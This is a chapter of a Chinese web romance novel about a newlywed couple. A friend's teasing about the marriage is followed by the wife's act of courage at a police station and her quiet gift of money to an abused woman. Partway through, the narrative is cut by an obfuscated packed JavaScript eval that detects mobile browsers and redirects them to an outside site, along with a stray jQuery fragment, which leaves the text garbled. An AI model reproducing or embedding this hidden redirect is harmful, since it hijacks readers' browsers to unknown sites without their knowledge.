“所以你老婆真不是康娜?”
“康娜知道你在这给她胡乱编排对象吗?”
孔飞飞不好意思地摸了摸鼻头:“那不是看你身边也没几个女人嘛,想着你俩这两年合作的次数多些,日久生情什么的……”
说着说着他自己也觉得不合适,赶紧合手朝着手机拜了拜:“对不起了康大美女,是小的过分了,你千万别介意啊。”
梁明和冷眼看他:“我老婆叫周锦芹,我记得我告诉过你。”
“记是记得,这不是不敢相信嘛。”
“也就是我认识你,不然你长这么张花枝招展的脸,谁信你还是个雏儿。”孔飞飞挖了一大勺海肠捞饭塞进嘴里,口齿不清道,“不过你这事真挺让人存疑的,就拿你找我买的那张床来说,我就没见过谁家新婚夫妻买单人床的,你自己说怪不怪我不信你?”
孔飞飞家里是做家具生意的,遇到结婚的基本都是买一米八乘两米的大床,从没见谁奔着一米二这个尺寸去的,那玩意能施展开拳脚吗?
“咳咳!”梁明和差点被手里的凉茶噎到,他强装镇定道,“那是给猫睡了,我老婆带的娘家咪,待遇高点不是很正常?”
“哦,给猫睡的……”孔飞飞露出意味深长的表情,他看着梁明和手边已经见底的凉茶,幽幽道,“如果结婚这事是真的话,那我合理猜测一下,其实你是被家里长辈包办的婚姻,但人家不待见你,不许你上床,你看得见吃不着,所以现在才憋得一肚子火在这狂饮凉茶吧。”
“……”梁明和一时哑然,他臭着脸怼他,“我看你是玩手机把脑子玩坏了。”
孔飞飞才不在意他怎么说,眼下他显然已经沉浸在自己的幻想世界不知天地为何物了。
“说起手机,你说有没有这样一种可能,其实你老婆是豆包,她吃电就够了,所以你今晚才不带她一块儿来吃饭。”
梁明和冷冰冰道:“没这个可能。”
孔飞飞笑嘻嘻的,他假模假样冲手机喊:“周锦芹,周锦芹,梁明和想你了,你老公申请和你连线。”
好巧不巧,他话刚落下,原本黑屏的手机突然点亮,来电显示跳动的正是“周锦芹”三个字。
孔飞飞张大了嘴巴,梁明和顺手丢了个包子进去。
他擦擦手,迅速接起电话:“喂,怎么了,怎么突然给我打电话?”
这个点接到周锦芹的电话,梁明和其实也挺诧异的,一个小时前他还接到她刚刚结束面试的消息,按道理这会儿应该还在回家的地铁上。
周锦芹犹豫地开口,声音细细小小,似有些不好意思:“梁明和,我现在在派出所,你方便来接我一下吗?”
梁明和眼皮一跳,他刚要追问,就听那头有其他人讲话,听语气应该是警察:“小伙子,你老婆是见义勇为,没啥事,就是受了点惊吓,你来的路上注意安全,不用太担心哈。”
周锦芹也附和,声音温温柔柔,并没什么反常:“嗯,你放心,我没事,你慢慢来就好。”
听到这梁明和松了口气:“嗯那就好,你稍微等一会儿,我大概半个小时到。”
围观全程的孔飞飞眼睛睁得老大,他一身鸡皮疙瘩都起来了:“不是,你小子真有老婆啊?那语气柔的还能是你吗?”
梁明和冷哼一声,迅速收拾好自己的东西:“走了,我要去给我老婆充电了。”
梁明和到达警局时比预计的时间提前了七八分钟,面上有细密的汗珠,额发不少都被浸湿成缕。
周锦芹走上前,眉心微微蹙起,语气不自觉带着点嗔怪:“不是说好慢慢来吗?怎么跑这么急?”
梁明和指了指她手臂上的伤口:“我要是来晚点你的伤口就会愈合了吗?”
“我就是怕你路上分心嘛……”周锦芹瘪瘪嘴,底气不足道,“而且这确实是皮外伤,不严重的。”
“哎呀,你老公也是心疼嘛。”一旁的警察笑眯眯的,“当事人已经醒酒了,对方承认了自己的过错,正好你们夫妻俩都在,你们商量一下看要不要继续追责。”
梁明和大致询问了一下事情经过,他问周锦芹:“你怎么想?”
毕竟她才是受害者,原不原谅都该由她做出选择。
周锦芹还没来得及张口,视线正对上座椅上的女人,对方终于不再欲言又止,她抬起脚朝两人的方向走来。
女人也才三十岁,面对同龄人,却尤其显得拘谨。
她垂着脑袋,不安地拨弄着手指,不敢对视,更不敢看周锦芹臂上的伤。
她深深呼了口气,声音却还是颤得不行:“周小姐,能不能请你谅解我的丈夫?”
“我知道这个要求有些过分,但我的孩子还指着这口子养活,不到万不得已我当然也不想帮他说好话。”女人的泪蓦地滚了出来,“求求你好吗?求求你……”
女人说着要来抓周锦芹的手臂,梁明和抢先一步将人拉到了自己身后,他语气稍微硬了些:“这位女士,我们是受害人,原不原谅于情于理都该由我们自己做主,希望你明白。”
女人也清楚自己理亏,她退后一步,瑟缩着身子口里默念着:“对不起,对不起……”
周锦芹看着女人沧桑窘迫的面容,扯了扯梁明和的衣摆,仰头很轻地问:“如果我选择原谅,你会不会觉得我太圣母?”
她头发被剪得太短,很多碎发没法扎上,因为打斗的缘故用来固定的卡子大多跑偏了位置,头发此刻已经凌乱得不成样子。
梁明和伸手把她脸颊处的发别在耳后,声音柔了些:“不会,我知道你是深思熟虑过的,况且你是受害者,无论哪种选择都没人有资格指责你。”
周锦芹仰起头,面上终于挂了些笑:“好。”
她最后也没要对方的道歉,但很强硬地要了一笔经济赔偿。
道歉不过是口头表示,不需要诚心,不需要反思,这种无关痛痒的东西于这种惯犯而言毫不费力,倒不如一笔实际支出来得肉疼。
周锦芹没看男人恨得牙痒痒的表情,头也不回推门离开调解室。
女人紧跟着出来,她面上挂着讨好的笑:“谢谢你啊周小姐,我真是…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535419|186527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
周锦芹打断她,要她把手机解锁打开。
女人一头雾水,但还是选择照做。
周锦芹点开她手机的收款码,将刚刚收到的补偿金连同自己补贴的一千块尽数转了过去。
“这……”女人有些错愕。
“给孩子买奶粉,你自己收好,不要叫你老公知道。”周锦芹本来不想多说什么,但看着对方怯生生的眼,还是没忍住多了嘴,“刘小月,你先是你自己,然后才是妻子和妈妈。等孩子大些,你不妨尝试往外走,尝试自己赚钱维系生活,做不用依附也能自我生长的藤蔓。”
刘小月后来认识到一种植物,蔓长春花,这是一种蔓性半灌木,当缺乏支撑物时,它不会强行攀爬或是自甘堕落,而是选择顽强地克服和适应环境变化,改变生长形态铺地而生或是独立成丛。
当去更远的地方之后,刘小月发现自然界里这样的植物其实比比皆是,而她也将会是其中一丛。
回去的车上,周锦芹靠在车枕上,声音闷闷的:“梁明和,今天晚上麻烦你了,谢谢你大老远跑一趟。”
他们相处的日子总在雨天,今天难得放晴,梁明和没开空调,而是选择开窗通了些风进来。
“接自己的老婆哪有什么麻不麻烦的,我今天本来就要做你的专属司机的。”梁明和笑得自在,“而且,作为见义勇为英雄的家属,我今天也沾到了光。”
他语气浮夸:“简直——与有荣焉。”
老婆……他总是能轻易说出这两个暧昧的字眼,周锦芹依旧无法保持冷静。
她红了脸,别扭地侧头看向窗外,声音多了几分不自然:“谢谢你。”
梁明和没应,只是说:“不过对于你没有把自己的生命安全放在第一位这件事,我并不高兴。”
他看着她的侧脸,无奈道:“不过我想你也并不后悔,倘若再给你一次机会,你大概也会义无反顾。”
周锦芹确实不会后悔,她只后怕她当时但凡多犹豫一秒,那块转头就一定砸上了刘小月的太阳穴。
太阳穴位于颅顶骨、额骨、颞骨以及蝶骨的交汇处,此处的头骨骨板只有大约一到两毫米厚,一根筷子就能轻易戳破,同时此处分布有大量重要血管,这是人体非常脆弱的区域,但凡遭到重击都有可能到达危及生命的地步。
周锦芹一时哑然,唇瓣启启合合,却只能说些无关痛痒的话:“抱歉,是我考虑不周,以后会更加谨慎的。”
梁明和很轻地抚上她手臂上的伤口,长睫很乖顺地垂下,他声音低沉,裹了些柔雾:“疼吗?”
周锦芹摇摇头,只觉得那处被他掌心裹得有些热,连带着心都蒙上了一层暖意,她的眼像被牵了线似的,不自觉望向那双漆黑的眸:“不疼的。”
“虽然我不该用责任和爱来捆绑你,但还是希望你在做决定时记得你不再是一个人。”梁明和强硬地看向她的眼睛,“你大概也不想团团变成单亲家庭的孩子吧?”
他适当地停顿片刻,而后抬眼夹杂了些笑:“当然,我也不想变成鳏夫。”